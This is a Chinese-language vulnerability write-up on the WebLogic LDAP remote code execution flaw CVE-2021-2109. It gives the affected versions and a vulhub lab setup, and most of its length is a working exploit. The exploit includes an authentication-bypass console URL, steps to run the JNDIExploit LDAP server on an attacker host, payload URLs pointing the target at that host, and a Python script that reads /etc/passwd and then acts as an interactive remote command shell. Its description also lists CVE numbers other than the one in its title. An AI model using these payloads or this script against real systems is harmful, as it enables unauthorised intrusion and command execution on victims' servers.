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141 lines
5.9 KiB
Markdown
141 lines
5.9 KiB
Markdown
# Weblogic LDAP 远程代码执行漏洞 CVE-2021-2109
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## 漏洞描述
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2021年1月20日，绿盟科技监测发现Oracle官方发布了2021年1月关键补丁更新公告CPU（Critical Patch Update），共修复了329个不同程度的漏洞，其中包括7个影响WebLogic的严重漏洞（CVE-2021-1994、CVE-2021-2047、CVE-2021-2064、CVE-2021-2108、CVE-2021-2075、CVE-2019-17195、CVE-2020-14756），未经身份验证的攻击者可通过此次的漏洞实现远程代码执行。CVSS评分均为9.8，利用复杂度低。建议用户尽快采取措施，对上述漏洞进行防护。
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## 漏洞影响
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```
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WebLogic Server 10.3.6.0.0
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WebLogic Server 12.1.3.0.0
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WebLogic Server 12.2.1.3.0
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WebLogic Server 12.2.1.4.0
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WebLogic Server 14.1.1.0.0
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```
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## 环境搭建
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```plain
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git clone https://github.com/vulhub/vulhub.git
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cd vulhub/weblogic/CVE-2020-14882
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docker-compose up -d
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```
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访问 http://xxx.xxx.xxx.xxx:7001 正常即可
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## 漏洞复现
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访问一下URL http://xxx.xxx.xxx.xxx:7001/console/css/%2e%2e%2f/consolejndi.portal
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如果有此页面未授权可访问，且在影响范围内则可能出现漏洞
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下载漏洞攻击需要的 LDAP启动脚本
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[下载链接](https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11)
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下载到服务器上启动
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```shell
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java -jar JNDIExploit-v1.11.jar -i xxx.xxx.xxx.xxx (服务器地址)
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```
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- 部分服务器注意放行端口
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然后配合 Weblogic未授权范围 命令执行
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```plain
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/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)
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```
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- 注意 ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho 这里 LDAP服务器地址第三个分隔符号为 ;
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登录后台可使用此POC，未授权的话用上面的
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```plain
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/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)
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```
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## 漏洞POC
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- 注意参数格式 Ldap >>> ldap://xxx.xxx.xxx;xxx:1389 中的分号
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- 如果使用其他的利用Ldap服务请自行更改 POC关键字
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- 此POC仅仅检验有未授权的情况
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```python
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import requests
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import sys
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import re
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requests.packages.urllib3.disable_warnings()
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: Weblogic 多个版本 \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+ \033[36mLDAP >>> ldap://xxx.xxx.xxx;xxx:1389 \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url, ldap_url, cmd):
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vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)
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print('\033[36m[o] 正在请求: {}'.format(vuln_url))
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"cmd": cmd
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}
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try:
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response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
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if "root:" in response.text:
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print("\033[32m[o] 目标{}存在漏洞 \033[0m".format(target_url))
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print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
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else:
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print("\033[31m[x] 命令执行失败 \033[0m")
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sys.exit(0)
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except Exception as e:
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print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)
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def POC_2(target_url, ldap_url, cmd):
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vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)
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print('\033[36m[o] 正在请求: {}'.format(vuln_url))
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"cmd": cmd
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}
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try:
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response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
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print("\033[32m[o] 响应为:\n{} \033[0m".format(response))
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except Exception as e:
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print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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ldap_url = str(input("\033[35mLdap >>> \033[0m"))
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POC_1(target_url, ldap_url, cmd="cat /etc/passwd")
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while True:
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cmd = input("\033[35mCmd >>> \033[0m")
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if cmd == "exit":
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sys.exit(0)
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else:
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POC_2(target_url, ldap_url, cmd)
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```
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